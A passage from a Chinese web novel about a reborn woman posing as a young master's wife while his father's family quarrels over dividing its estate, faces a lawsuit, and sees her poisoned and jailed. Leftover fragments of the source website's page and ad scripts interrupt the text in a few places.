“阿瑶,好孩子。”吴氏的语气弱了下来,目光中带着怜惜,“你想,我这大侄儿有这样一个有失公允的祖母,将来怕是、怕是这家业又要被三房那几个小儿给抢走啊!” 吴氏膝下无儿,只有两个女儿待嫁,百年之后沈家的一切与她无关。 所以她不惜挑拨起小一辈。 秦娘心中冷笑,这么说起来,陈衡也不用费力抢了,只需等着,沈府的一切就全会回到他手里。 “夫君和我并不在意沈家的家业,我们只要当初我公婆留下的那份。”她心平气和的劝,“老夫人她年纪大了,三婶又和她住的近,来往甚多,随手给些物件也是正常的,二婶,家和万事兴啊!” 吴氏没料到她竟不为所动。 “二婶明白,你们有你们的目的。”她索性不装了,“我也有我想要的。不如我们合作?” () { $(''.inform'').remove(); $(''#content'').append('' 秦娘闻言忙退后一步,半躬福礼道:“侄媳斗胆请二婶知悉,夫君他并不愿入宗祠,更是多次告诫,不许过多插手府里之事,此事……侄媳是万万不敢的!还望二婶也三思!” “哼,我倒没看出来,你心里向着你三婶吧!”吴氏气不打一处来,她平日里就见秦娘和那姜氏亲密了些,如此看来今日这番话白说了! 她冷眼看着秦娘,道,“你就明哲保身吧,我看你能舒服到几时!我自己去找老夫人!” “二婶,你再想想!”秦娘忙假装拦她,“惹怒了老夫人,得不偿失!” 吴氏带着一众仆从往宅子后方走去,一路浩浩荡荡,连家里洒扫护院的下人都看出了二夫人的怒气。 秦娘跟在后边,这出好戏自然是不容错过。 只见一行人直冲进了姜氏的住处,四处推开房门,闹得一屋子人鸡飞狗跳,吓得小儿啼哭不止。 终于在一处房内,找到了正在做衣裳的一众下人,将她们统统撵了出来。 吴氏快步走了进去,拿起做了一半的衣裳,发狠撕了起来,一时裂帛声响起。 她又瞥见桌子上的剪刀,顺手抄了起来,将剩下的祥云纱胡乱剪了一通。 望着满屋子的碎片,吴氏终于感到一泄心头之恨,顿时神清气爽。 此刻姜氏正在老夫人屋里说话,听了下人来报,立刻赶了回来。 见屋里一片狼藉,到处都是碎布头,又心疼又气恼,霎时一阵怒气直冲心头,冲上去直扇了吴氏一巴掌! “吴净莲!你疯了!” “我就是要发疯!凭什么你我都是他沈家的媳妇,什么都有你的一份,却少了我!” 吴氏也不顾一切了,什么管家娘子的面子里子,她统统不要了! “你……”姜氏被气的说不出话来。 随后赶来的沈老夫人见状,也急得差点站不稳,急问道:“老二媳妇,你这是要做什么!这么好的料子,造孽!造孽啊!” “哼,你少在这儿叫骂!”吴氏啐了一口,道,“若不是你老糊涂了,两个儿子只偏爱一个,好东西只往小的房里塞,你们沈家会是今日这副光景?” “你!商户之女,果真上不得台面!”沈老夫人拿拐杖将地面戳的咚咚作响,“没点教养规矩,竟连婆母也敢骂!看我叫庆儿回来打断你的腿!” “哈哈!”吴氏气极反笑,指着她大笑道,“你去叫啊!看你那好儿子今儿是站在谁那边!” 她目光从每个人脸上扫过,竟有一丝悲凉,“你儿子天天在外卖命,你和三房吃的用的哪一项不是他赚回来的?我整日里操劳家事不说,只是嫁妆都往你们家贴了多少!说出去让全城笑掉大牙!” “而你的小儿子,只知道花钱,光小妾竟纳了五六房!她姜玉有何脸面穿好的戴好的!” 姜氏从目瞪口呆中反应过来:“我有何脸面?我穿的戴的,哪一个是你家爷赚的!” “是,你一个小小知县之女,嫁妆能有多少?”吴氏将目光投向人群中的秦娘,“你那满头珠翠满身首饰,可都是大嫂的!” 沈老夫人和姜氏,脸色瞬间变了变。 20. 宅斗分家 吴氏缓缓道来:“当初大伯去了,大嫂匆忙之下回了娘家,东西都没来及带走,全在老夫人那儿收着。这几年,陆陆续续的全贴给了三房!” “你少在那儿污蔑!”姜氏不甘示弱,“我拿了怎样?老夫人她爱给谁给谁!倒是你,管家这么久没少贪墨吧?一年统共那十二个月,你隔三岔五就得来问老夫人要银子补亏空,大嫂的金银细软你又当出去多少,别以为我不知道!” “你血口喷人!”吴氏辩解,“宅中上下谁不知道老夫人偏疼你,我才要出来多少?我自己的嫁妆都快被沈家这窟窿吞没了!” 秦娘听两人你一言我一语,将这沈家所有抖落的一干二净。 “够了!”沈老夫人听的手直哆嗦,颤颤巍巍道,“别说了!” 所有人的目光,皆聚在秦娘身上。 沈老夫人有些惊惧,吴氏眼神躲闪,姜氏则带着一丝期盼。 秦娘从人群中走了出来,分别看了看几人,最后转向沈老夫人。 “今日我既已听到这话,便不能当作未发生。”她看着老夫人,道,“阿瑶尊称您一声祖母,您看此事应如何?” 若是那明事理的长辈,必做主将一切还回去。 可偏偏,对沈老夫人来说,已到手的东西怎可能再吐出去。 “唉!”老夫人抬起袖子抹了抹干涸的眼角,哀哀道,“你是我的嫡长孙媳,原本我应早告知你。当初你公婆留下的东西,我就是怕剩下的两个儿子分了去,才拿在了自己手里。” “祖母英明。”秦娘躬身一礼,道,“孙媳代夫君感恩祖母,我们既已回来,应物归原主。” “是,我原是这样打算。”老夫人伸手将秦娘的一双手拉在怀里,“可现如今家中混乱不堪,祖母命这些个混事的下人们来去算了多日,也没将你婆母留下的金银细软弄清楚。” 秦娘冷笑,将自己的一双手抽了出来:“陈家当初嫁女,自有奁产清单。” “有,陈家定有清单。”她抬手擦了擦额上冷汗,道,“只是近年我贴补两儿子的次数多了些,若再多些时日,定能对清楚。届时,我让你二叔三叔将那些拿走的还回来,若被当出去的就赎回,实在没了的折成银子给我那孙儿,如何?” 吴氏闻言不乐意了,她拿的都当了出去,现在还要折成钱还回去,自然不成。 姜氏也不舍得这满身金银珠宝。 “不成!”两人齐齐发声。 吴氏瞥了姜氏一眼,道:“你们三房这几年吃我们的用我们的,如今祥云纱我更是没落到一星半点,这钱,该你们替我们还!” 姜氏忽然发现,分家的契机终于到了。 她并没有接吴氏的话茬,反将目光转向沈老夫人:“娘,我看此事不能善了了!无论如何她二房都会觉得娘偏心,让我们三房白白占了便宜!” “……那你说说该如何?”老夫人只得问道。 姜氏与吴氏对视了一眼。 这是两人第一次如此默契。 “我看不如将宅内宅外一切皆点清楚,重新分了!”姜氏提道,“如此,可分出一部分还给长房。” 吴氏忙道:“正是!这才公平!” 沈老夫人愣了片刻,方如梦初醒:“你们这是要——分家!” 在场众人皆不敢言语。 “都这么想?”老夫人看向姜氏,见姜氏低了头,又看向吴氏。 吴氏拿帕子捂了一下脸,道:“这可是她姜玉提的。” 姜氏百口莫辩,狠狠瞪了她一眼。 老夫人此时却冷静了下来。 她的儿子们还未回来,媳妇如此想,不一定是儿子的意思。 她冷冷道:“既如此,两位爷回来,叫他们立刻来见我!” 眼见着天阴沉下来,既然要等爷们点头做主,吴氏姜氏也没什么好说的,于是众人很快散了。 姜氏吩咐下人备伞,给三爷送去,见秦娘也准备回去,言笑晏晏道:“阿瑶不去给我那侄儿送把伞?” 秦娘未嫁过人,更不知晓和夫君该如何相处,见各家娘子如此,她便也道:“这就去。” 遂回到院子,让迎春拿了伞,叫下人找车夫备马。 等坐马车上了街,她才发现,自己也不知道陈衡在哪儿。 她只好吩咐车夫到沈家的粮铺瞧一瞧。 陈衡果然在此。 上次惊动了官府,上边派人下来查了全城的粮铺,折腾了一番也没抓到始作俑者。 甚至还连累了各路商家,导致城内粮食价格连日下降。 沈家的粮铺生意也受了牵连。 掌柜苦着脸,跟陈衡汇告:“今日来买粮的客人只有两个,往年沈家的大客都因换了东家,不再合作。靠这散客……不是长久之计啊!” 此刻天已乌云密布,耳边时时有雷声传来。 秦娘本不想打扰两人,看天已有雨点落下,只得进了门。 “无妨。”陈衡语气颇不在意,“本也不指望这铺子的生意。” “夫君。”秦娘福身,“该下雨了,阿瑶来送伞。” 陈衡动作一滞。 他忽想起有外人在,不该如此疏离,便转身换上一副笑容。 “阿瑶来了。”他接过秦娘手里的伞,十分熟捻的拉起她的手,向众人介绍,“这是夫人。” 众人皆执手作礼,道了一声:“夫人。” 粮铺后头依旧有院子和存粮的几间房,陈衡拉着她往后边房里去。 走到一半又吩咐身边跟着的小厮:“去前头巷子,给夫人买一些糕点。” 小厮撇了撇嘴,不太情愿,道:“公子,下雨了。” 秦娘也忙道:“不用了,我在家用过饭。” 陈衡沉着脸盯了小厮一眼,那小厮忙低头一溜烟跑了。 “娘子还是用些为好。”他道。 秦娘知他吩咐人惯了,只得点头,不再拒绝。 等穿过院子进了屋,撇开了人,他才不满道:“以后我们扮夫妻需更像一些,我说什么你接着,别在外人面前露了马脚。” “这才不像夫妻,倒像是公子和婢女!”秦娘反驳。 “那怎样才像夫妻?”他不屑道,“你来说说?” 秦娘回想她见过的,一一道来:“夫妻会拌嘴……大多还是娘子厉害些,嗯……相处也要熟悉自然,应该是像多年老友那种感觉。” “你是说,在外我得听你的?”陈衡有些震惊。 他自幼丧父,早忘了当年父母如何相处。 舅舅家家风又严,舅母自然是全听舅父的。 秦娘点头:“公子……夫君不用多虑,只是假意而已,做做样子又何妨?” “一派胡言!”想起舅父家,陈衡又断定是秦娘在骗他。 “不信算了。”秦娘随意找了张凳子坐下,拿起桌上的茶壶给自己倒了一杯茶。 陈衡又想起自己 () { $(''.inform'').remove(); $(''#content'').append('' 还有求于她,也跟着坐了下来,道:“想来阿瑶也有道理,我今日从首饰店路过,见有相公给娘子买钗,就学着也买了一套。” 他变戏法似的从袖带里掏出一个木盒,置于秦娘面前。 秦娘欣喜打开,里边是两根银钗,坠了一串银珠,十分精巧,拿起来掂了掂,分量十足。 她自然不会傻到相信陈衡真送她首饰,于是合上盖子问道:“说吧,什么事。” 陈衡目露满意之色:“我们陈家高门大户,有些不便舅父出头的产业,由我自幼接手。虽不缺钱,可这粮铺……是我来江城办事必须要有的靠山。之前你也见了,有何办法?” 秦娘假装掐指一算。 她当然对这些百姓生活必需之物十分熟悉。 上一世的这一年……她回想着,这一年风调雨顺,偶有粮价起伏,很快便恢复平稳。 只是江城新来了户金姓人家,十分富有,家中妻妾儿女成群,仆从少说也有几百个…… 他刚到江城之时,曾引起各家粮铺争相抢人。 “你且等一个月,让人打听着,会有一家金姓人家来江城落户,他家人口众多,光是一个月口粮,就够你赚不少了。” 陈衡好奇道:“你如何得知?你们认识?你知晓他要来?” 秦娘嗤笑:“我早说过,我擅卜。” 陈衡却不以为然:“我从不信怪力乱神。” “既然不信,不妨等等看。”秦娘将装了银钗的盒子收入囊中,“公子又不缺钱,等得起。” 门外响起声音:“公子,点心买回来了。” 陈衡让人进来,将点心盒子打开。 秦娘眼睛一亮,这是城中最有名的酒楼出的点心,她上一世馋了一辈子,到最后也没舍得买一块。 那些点心做的极为精巧,有雕成花瓣的,有做成蜜桃状的。 “你喜欢?”陈衡发现她眼睛发亮,遂吩咐,“以后每日一盒,给夫人送去。” 秦娘顾不得回答,拿起一块咬入口中。 只是味道……甜的发腻。 她突然发现,原来之前一直肖想的得不到的东西,得到了,也就索然无味。 吃了一口后,她将点心放下。 “我差点忘了。”她沾着油的手,从怀里摸出两张纸,递给陈衡,“这是我从陈年旧账里撕下的,你娘的嫁妆,被他们当了,死当。” 陈衡本嫌弃的接过纸,听她说了,又将纸打开,看了片刻,眉头紧皱。 秦娘估摸着他此刻火气不小,便把今日府里分家之事跟他说了。 “如今吴氏、姜氏是十分愿意的,她们早互相看不惯,皆觉得对方占了自己便宜。”她娓娓道来,“沈老夫人却是不同意的,她要问了两儿子意见。不过我隐约觉得,你二叔和三叔应该……也会同意。” 沈言庆早看不惯他这个好吃懒做的弟弟,沈言礼膝下有儿,也想把家产占为己有。 陈衡道:“是时候去见见我那三叔了。” 秦娘想起第一次见沈言礼,他看自己的眼神,顿感恶心。 不过后来……他好像很怕见到陈衡。 “他躲你躲了这么久,一定有事瞒你。”秦娘道。 陈衡点头,一双美目中竟有掩不住的杀气。 还带着一点……兴奋。 大厦将倾。 秦娘忽然觉得整个人一凛。 沈家—— 快倒了。 21. 妇人之见 几天下来,沈府里忙忙碌碌十分热闹。 沈老夫人让下人们将库房物件清点,又盘点了房产田产铺子等,终于把财产点了个清楚。 她终是没能抵住两个儿子分家的决心。 陈衡和秦娘见宅子里忙碌,只装作不知。 等了几日,宅里终于有动静了。 这天一大早,沈府众人便齐齐聚在祠堂,还专请了族里德高望重的老人作见证。 这些事自然是瞒着大房这厢,可早有人偷偷往院里递了消息。 陈衡带着秦娘及一众仆从,假意恩爱夫妻逛园子,很快便逛到了祠堂。 祠堂门大敞开着,众人整整齐齐的列队站在堂外,还有几张桌椅摆在两侧,场面十分隆重。 沈老夫人坐于檐下,看到长孙到来,眼皮狠狠跳了两下。 陈衡带秦娘上前拜了一拜,问道:“老夫人这是做什么?” 沈老夫人本就难受,此刻见瞒不住他,心口更是像压了块大石,整个人如鲠在喉。 他还是不愿叫自己祖母。 看着面前这张与陈氏有些七八分相像的面容,她着实喜欢不起来,当年陈氏就如同现在,淡淡的站在那儿,眼眸低垂,将她那最得意的大儿给勾走了。 想到这儿,她无力的摆了摆手:“你既不愿入宗祠,这分家一事,也与你无关!” “是这个理。”沈言庆站于老夫人身后,道,“你既来了,可在此一观,做个见证也是好的。” 说罢,他吩咐下人再抬张椅子来。 陈衡扯了扯嘴角,将目光投向沈言礼:“你们分家,不关我事,只是这宅中有我父母的私产,若你们不动,我自然不会追究。你说是吧,三叔?” 沈言礼猛地被他提问,忙堆上满脸笑容:“是、是,侄儿说的是。” 沈言庆瞪了他一眼,他立刻低头,往后退了退,将所有话头压了下去。 姜氏在旁小声跟自己丈夫嘀咕:“我怎么觉得你……很怕他?” “闭嘴!”沈言礼压低声音骂道。 老夫人冷眼鄙睨道:“哼,我儿子的东西,自然有我这个做娘的保管!待你叔父们分完了,自会将你娘的那份嫁妆还去!” “恐怕律法不是这么讲的。”陈衡冷笑,这偌大的沈家竟敢罔顾律法。 此时下人们已将椅子抬了过来,放在桌椅列最末端。 沈言庆忙转了话头,将陈衡请去座位:“侄儿可先坐,若有什么话,等听完再说不迟。” 陈衡却并没有去最后一列,他直接扶了秦娘,坐在了首座。 在场众人齐齐吸了一口气。 “放肆!”老夫人怒道,“那位置是留给族中有德行的老者的,岂有你坐之理?” 陈衡朝祠堂方向作揖,道:“我自是代表父亲,老夫人忘了?死者为大。” “你、你……”沈老夫人被气的说不话来。 沈言礼忙哄了她:“娘,你就当他是吧,反正木已成舟,他坐在那儿也改变不了什么。” 老夫人转头瞪了他一眼:“你倒是会替你的好侄儿说话!” 说话间,族中请来的几位老者已到。 沈家母子忙请坐,说明了缘由,惹得几位老者纷纷摇头。 这沈言律的儿子竟如此不知教养! 下人们将清点好的账册置于老夫人面前,已有吴氏手底下的管家拿起账册,一本本念了起来。 先是念了铺子,这倒也没什么,又念了庄子田产,陈衡毫无反应。 越往后越念到了家中家具摆件首饰,秦娘悄悄瞥了他一眼,却见他低垂的眼眸中,怒气正盛。 这些东西可全都是陈氏嫁妆单子上有的! 稍后,吴氏又让人把各家所分的念了,待念完,呈上一张分家契书让各位传阅。 “若兄弟俩没什么意见,便签了吧!”几位老者觉得无什么不妥之处。 沈言庆和沈言礼大喜,就要在契书上按上手印,随后往官府申报。 “等等。”陈衡突然出声,“二叔,三叔,你们怎么把老夫人忘了?” 兄弟两人闻言面面相觑。 “对了!”一位老者站了起来,“这小辈提醒的对,分了家,你们母亲该跟谁?” 沈老夫人期盼的看着两个孩儿。 她觉得自己这两个儿子都是好的,一定抢着要尽孝道。 只是这儿媳……吴氏爱计较,她更喜欢姜氏,更何况姜氏的父亲是官。 陈衡望着久久不语的叔父们,笑道:“怎么,二叔三叔难不成想让老夫人跟着我?” 沈言庆和沈言礼对视了一眼。 沈言礼道:“你是长房,也不是不可……” “礼儿!”老夫人看着小儿子,失望道,“你竟这样想?” 她又看了看大儿子,顿时一股绝望在心底蔓延。 “好啊!”她大笑道,“原来你们都嫌弃我这个老婆子!闹了半天,钱你们拿了!娘你们倒是不要!这家还分什么分呐!” 老夫人拿起面前契书,一把撕了! “娘!”兄弟俩噗通跪下。 姜氏吴氏也一起跟着,下人们见状,跪倒一片。 姜氏趁机扯了扯沈言礼的袖子:“不如让娘和我们一起过,既能顺利分家,又能多一份财产。我亲眼见过,娘手里存了不少私产呢!” 沈言礼瞪大了双眼:“你怎么不早说!” “娘,大哥已逝多年,我长期替代家中长子之职,您……还是跟着我过吧!”沈言庆低头咬牙道。 吴氏也扯了扯他的袖子:“你混说些什么!我们又没儿子,自己都无根没着落的!还要养你娘?” “妇人之见!”沈言庆悄声道,“孝!你懂不懂?我们要是不养,出门是要被人戳脊梁骨的!” 见二哥和自己抢,沈言礼也抬头急声道:“娘和我们过!” 听两人这么说,沈老夫人抹了抹眼角的泪,欣慰道:“娘就知道,娘误会你们了,好孩子,都起来吧!” “既然如此——”族中老者道,“就让你们母亲自己选吧!” “等等!”吴氏又出了声,“事情有变化,分家也要重新分,毕竟娘跟着谁过,都要添一个人的吃穿用度,免不了要多分些!” 姜氏翻了个白眼,觉得这吴氏十分短视。 “你这是生怕娘选了你家?”她笑了笑,道,“那就跟我们过!我们可不怕!” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >“哼,你这算盘打得可真响。”吴氏冷哼一声,讽刺道,“谁不知道三叔风流,怕是你想多分点,好多给你家爷贴补女人吧!” “啪——”沈言庆一巴掌打在吴氏脸上。 今日这景,她实不该口出妄言。 吴氏被这一巴掌打醒,惊觉自己失了分寸,忙捂着半边脸退至后方。 沈老夫人怒道:“罢了!别争了!我跟礼儿过,反正那契书被我撕了,重新分罢!” 吴氏后悔不已,搬起石头砸了自己的脚,早知老夫人选老三家,她便不提重新分的事了。 可刚被丈夫打了一巴掌,此刻她也不敢再言说。 见一处铺子从自己手里被划走,分给了三房,她心里同吃了苍蝇一般。 终于分好了。 兄弟俩松了口气,沉浸在自立门户的喜悦中。 见陈衡不动如山,更是得意。 两兄弟心道,事已至此,想跟长辈斗,他还嫩了点。 老夫人和几位老者起身,正准备入祠堂,告慰祖先,突然有护院匆匆跑了进来。 “不好了!爷!老夫人!不好了!”护院气喘吁吁,大喊道,“官府派人来了!” 沈言庆忙上前一把揪住了他:“胡说什么!官府来做什么?” 沈言礼也上前猜测道:“许是官府听说了我们沈家今日分家之事,特意过来备案?如此也省的我们再跑一趟了。” 他回头看了一眼姜氏,心想不会是姜氏提前告知了丈人,丈人又联系了上司派人来助? “不、不是,爷!”护院摆着手,慌张道,“我看他们的样子不、不像来作证的,像是来抓人的!” 话音刚落,几队人马冲了进来,瞬间把人包围。 沈言庆松开护院,换上一副笑容,朝领头的拱手作揖,道:“官爷来此何事?” 领头的将众人扫了一遍,道:“何事?自是有人状告你们沈家!” 众人一滞。 谁敢告沈家? 沈言庆擦了擦额上的汗,问:“敢问是谁?又因何事?” “还有脸问!”领头的官差和沈言庆打过不少交道,不得不黑着脸回,“京城陈氏状告你们私吞遗传、私吞儿媳嫁妆!” 一时间,众人的目光皆聚集在陈衡秦娘身上。 秦娘恍然,原来他早报官了。 沈老夫人气的跺脚:“那是我儿子的!我这个当娘的不该保管?难不成还让他陈家把我儿子的东西拿去?” 官爷瞪了她一眼:“有什么话到衙门再说!先把人带走!” 一行人就要抓沈言庆。 沈言庆忙指了指沈言礼:“他!是他!我大哥大嫂的东西都在他那儿!” 官爷挥了挥手,一行人又要去抓沈言礼。 沈言礼气的骂娘:“当初那主意是谁出的!你才是主谋!” “哼,我只是说说,下手的可是你!”沈言庆回道。 沈言礼几步窜至陈衡身边,痛哭流涕:“侄儿!你可要相信三叔!所有事都是你二叔想出来的!” 众人目瞪口呆。 沈老夫人听着两兄弟的胡乱职责,心“咯噔”一下。 “什么主谋!?” 22. 娘子被抓 “老夫人可听到了?你这两个儿子,有事瞒你。”陈衡露出一抹讥笑。 听两人说与长房的私产有关,老夫人心下已有了底。可她已失去了一个儿子,不能再失去其他。 “罢了!”她含恨闭了闭眼,道,“这里凡是你爹娘的东西……全拿走吧!” 沈言庆恨不得扇弟弟一巴掌,怎么紧要关头把所有事情都咬出来了! 不能再任由此事发展下去了。 他给吴氏递了个眼色,吴氏忙送上一个钱袋。 “官爷,这是误会了!”他把钱袋往对方手里塞,“您瞧瞧,在下兄长去世多年,长嫂当初又走得急,没带走一分一毫也是有的。都在家里放着呢,我这大侄子刚回来不明所以,今儿正是要把长房的东西归还!” 官差眼睛盯着钱袋挪不开眼,可手上却推辞,实在是京中人士状告,他不敢徇私。 “先将这两人带走!”他硬生生抵下诱惑,朝手下吩咐道。 一群官差训练有素,抓了兄弟俩推搡着带走。 女眷们顿时哭成一团。 吴氏和姜氏此刻围在沈老夫人身边,急道:“这可如何是好!” “哭什么哭!”老夫人强忍着心中惊惧,“一场误会说清就好!你们如今在这儿问我,倒不如赶紧去打点一番!” 姜氏稳住了心神:“是了!我现在就回家一趟,跟父亲商量此事!” 一旁有老者看向陈衡,道:“只怕解铃还须系铃人!” 吴氏回过神来。 既然是侄子状告,若他撤了状纸,不就无事? 吴氏施施然上前,给陈衡和秦娘行了个大礼:“只求侄儿能大人不记小人过,如老夫人所说,这些你们都、都拿走!” 她指了指那堆账册,面露诚恳。 “孙儿!”老夫人也被人搀扶着,颤巍巍上前,“我是你亲祖母!他们可都是你的至亲啊!” “是啊,一家人不说两家话,家丑不可外扬!你能不能放过你的叔父!”姜氏泪水涟涟。 陈衡居高临下,望着她们,道:“我朝律例,兄弟亡者,子立户而承父,这哪一条也没有叔父祖母代管之制!今日沈家触犯国法,恕在下不敢妄议、更不敢徇私枉法!” 老夫人浑浊的眼睛里流出一行泪:“如此不近情义,果真和你那母亲一样!当初我儿刚过热孝不久,她就要走!如今你是真不念旧情,不打算救你叔父?” 陈衡冷冷看着她。 吴氏见所幸无望,目光渐渐阴毒起来。 她站了起来,双手紧紧扶着老夫人的胳膊,咬牙道:“你们……可别后悔!” 老夫人和姜氏不解的看着她。 她突然指着秦娘,大声道:“你以为我不知道?你是假冒的!” 秦娘霎时全身僵直,如进了冰窟。 “哼,我们的人早从京里回来了,左家侯府,根本没有一位姓秦的夫人!”她目露鄙视,“她就是个无名无分的妾室!” ……秦娘从震惊中缓缓回过神来,松了一口气。 “妾室又如何?”陈衡将她拉至身边,“如今她是我的正室娘子!” 老夫人无奈的摇了摇头。 “子立户而承父”,她也不是不知晓,若孙子已成家,便可继承父亲的遗产。 吴氏却呐呐道:“不,不对!娘焉知她不是妾?妾能再嫁做主母?” “我的娘子,我让她做主母,她就是主母。”陈衡冷冷道出。 * 秦娘着实没想到,她也被抓了。 吴氏联合姜氏,将她给告了。 罪名自然是冒充沈家嫡长孙正室,而偏巧,陈衡手里没有婚书。 不过身在牢狱,她并不忧心,记得上一世这个大案,在江城传的沸沸扬扬,最终本家归还了遗产及儿媳嫁妆。 只是她没想到,这一世她竟以身入局。 在狱中的日子难熬,却也没人为难她,想必是陈衡打点了不少。 这日,她终于等来了迎春。 迎春裹得严严实实,隔着狱中木门偷偷递给她一纸婚书。 “公子吩咐姑娘,找个机会按上手印,待过两日开庭,便将这婚书拿出来作证。” 秦娘低头瞧了瞧那婚书,上好的云香纸,末行赫然有一红色官印! 这竟然是真的? “你们……伪造官府文书?”她皱了皱眉。 “嘘!”迎春忙将那婚书塞进她怀中,“你小声点!让人听到不要命了!” 待迎春走后,秦娘将那婚书偷偷打开,看了又看。 上一世她未嫁人,曾也憧憬过,可惜那些人得知她还有两个女儿,唯恐避之不及。 如今得了这婚书,心中涌起一种别样的情致。 陈公子濯濯如光,姣姣如月,若为良人,是极好的。 如此想着,她便迷迷糊糊睡了过去。 梦中,她却又回到了上一世。 她曾远远瞥见陈衡,在旁人口中听说沈家大郎回城,她慌忙找到秦馠,告知此事。 “你那沈郎真的是骗子!” 秦馠嘴角扯出一抹诡异的笑:“你的陈郎,就不是骗子?” 秦娘猛然惊醒。 她只觉五脏六腑俱焚,口鼻中满是血腥味。 有狱卒巡逻至此,大喊:“快!快找崔郎中!” 她这是……中毒! 谁要害她? 几个狱卒见她盯着自己神情疑惑,竟怀疑到各位狱卒头上了,忙大骂:“这是要害死老子!” “若在我们牢里出事,兄弟几个今儿都得滚蛋!” 秦娘见大家的神情皆不像下毒之人,便回想起之前迎春来看过自己。 她的手颤抖着抚在了胸口上,衣服里边正是那纸婚书。 崔郎中原是府衙里验尸的老头,听说狱中出事,急匆匆的赶来,看了秦娘的症状,又给她灌了些味道奇怪的黑水,不一会儿她就吐出不少血水来。 看来这毒是控制住了。 “狱中今日可还有别的犯人有此症状?”崔郎中问。 狱卒们摇头。 他抚了抚花白的胡子,稍作思索,拉起秦娘的袖子一看,大惊。 秦娘的指甲已变黑了。 “小娘子今日可触碰了什么不同寻常之物?”他问。 秦娘头昏脑胀,半天说不出话来,只听狱卒忍不住道:“今日有一姑娘来看过她!” 她又听其他狱卒抱怨道:“让你贪财!早提醒过你,若真出事可把兄弟们连累惨了!” 秦娘吃力抬起胳膊,将怀中那婚书拿来出来,声音嗡嗡道:“老丈……麻烦您瞧一瞧,是不是这纸有问题……” 只见崔郎中从他的药箱中拿出一方帕子,小心捏住那张纸,凑到鼻尖闻了闻,又迅速放下。

(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “不瞒姑娘说,正是此物。” 秦娘笑了,笑得眼泪差点流出来。 难怪她闻着那纸一股特别的香味,她以为,对方为这婚书如此上心,竟有别样的心思…… 谁知是她太蠢、太荒唐,竟肖想着一些她永远配不上的东西…… “这人胆大包天!”狱卒们群情激愤,誓要把下毒之人捉拿归案。 可眼下,病人躺在狱中也不是个办法。 崔郎中叹了口气,道:“不如就把她先送到我那儿,待好了之后再回来。” “那正好,反正你那地方也在府衙后院,算不上私放囚犯。”狱卒们倒同情起秦娘来。 她虽病倒,脸色越发苍白,却透着一种病怏怏的美。 有人私下打听:“这小娘子什么来头?” 狱头瞪了他一眼:“劝你收了你不该有的心,那是沈家的人!有人暗中照应着!” 秦娘听了苦笑。 暗中照应之人,却是要杀她灭口之人。 几人正抬着她,跟着崔郎中走着,突然有人跟上来道:“唉,等等!” 只见那官差拿了释令,问几位狱卒,“各位兄弟往哪儿去?今日释令,释一人,正是沈家的那位小娘子。” 狱卒们好奇:“为何?” 那人摇头:“都是误会!她原是因沈家那老夫人状告她冒充嫡长孙媳,谁知她相公今日一早便递了婚书!” “婚书?怎么又是婚书?这不是有一份吗?还是罪证呢!”狱卒将手帕包裹着的婚书拿给对方看。 对方也懵了:“这婚书还有两份?还都盖了官印?” 他正欲拿过来仔细瞧瞧,突被狱卒一掌将手打回去:“你小心吧你!有毒!” 几人陷入沉默。 秦娘呆呆的看着天空,如同一具行尸走肉。 而此刻迎春悄悄回了府,一到院子里,却见陈衡正站在一簇花丛旁。 “公子。”她沉下心,恭敬的福了一福。 陈衡看着眼前白色瑶芳,头也不抬,道:“听说你今日,去了牢中?” 迎春噎了半响,才支支吾吾道:“是。” 眼前花枝折断。 带刺的枝干迅速朝她脸上飞来,她躲避不及,霎时便被枝干划伤了脸,留下一道口子,渗出血印。 “你虽是承王府的人,却也不必多插手!” 迎春只觉天塌了一般! 原来他早就知道自己的身份! 她“噗通”跪下,磕头道:“公子饶命!事情既成,我是怕她扰了我们接下来的大事!” “哦?”陈衡骤然回头,“承王是想造反?那是太子的大事!不是你承王的大事!” 迎春不寒而栗:“公子,你不能杀我!承王不会饶了你!” 她紧紧盯着陈衡,随时准备起地反攻。 可下一秒,她只觉脖子后一阵阴风,手起刀落,人头落地。 一人笑嘻嘻而来:“公子,可算找到你了!你来江城玩也不带上我!” “哼。”陈衡冷哼,“若被太子和承王知道,你跟了过来,还杀了承王细作,看你怎么交代!” 那人上前一巴掌拍了陈衡的背:“我刀剑只是一介流士,又不是太子给你派的这些不中用的宫奴,不用交代!” 陈衡看了看地上迎春的残体,道:“看在你此事做的甚合我心,就留你在此。” 23. 接近娘子 虽被无罪释放,秦娘还是在府衙后的验尸房养了一些时日。 好在近日无什么死人的大案,这地方倒也清净。 只是她急着养好伤,带娇娇离开,若陈衡知道她还活着,怕是不会善罢甘休。 这日,崔郎中带来消息,沈家的案子正庭审,听说府衙门口围了里里外外几层人,都在拭目以待。 如此精彩的宅内分家夺财案,谁都想看一眼,听一嘴,来充实往后无聊日子的茶余饭后。 而秦娘却在此时悄悄去了绣坊。 趁着陈衡无暇分身,她要带娇娇走。 可谁知到了绣坊,她却被告知娇娇被她爹带走,已告假几日了。 秦娘只得往回走,忽又想起商徵会去给娇娇授琴,便急忙去琴馆找他。 街上空空荡荡,偶有几个外乡路人匆匆赶路,到了琴馆,人也都去看热闹,只有一人正苦练琴艺。 一连串流畅的音从指尖弹出,中间断了两下,又很快接上。 是秦馠。 秦娘记得她上一世此时也正苦练针线,对外头那些乱七八糟的毫不关心。 琴声断了。 秦馠见秦娘站在门口,悠悠的放下琴起身,迈着轻快步伐朝她走去。 “你不去看那场笑话,倒又跑来,想看我的笑话?”她的目光中依旧透着恨意,“我还没恭喜你,沈家倒了,你那沈郎君这次得偿所愿了。” 秦娘吃了一惊,问道:“庭审未曾结束,你如何得知?” 上一世她和那骗子被拆散后,很长一段时间拒绝听闻一切和沈家有关的事务,所以秦娘断定,她绝不知此事结果! 秦馠诡异一笑:“自然有我助他。” “你?”秦娘心中一惊,她竟投靠了公子? “有些事别以为你能做,我就做不得!”秦馠收起笑容,“我知道的比你只多不少!” 是沈鱼?秦娘只一瞬便猜到。 她没想到,上一世的执念如此强烈。 “他如此骗你,你还要跟他在一起?” 秦馠沉默了一下,随即道:“那事不是他的错,是我当初一厢情愿,固执认为他就是沈家那位公子。” 秦娘嗤笑:“就算此事是你的缘由,可后来呢?关键时刻,他还不是让你顶罪!” 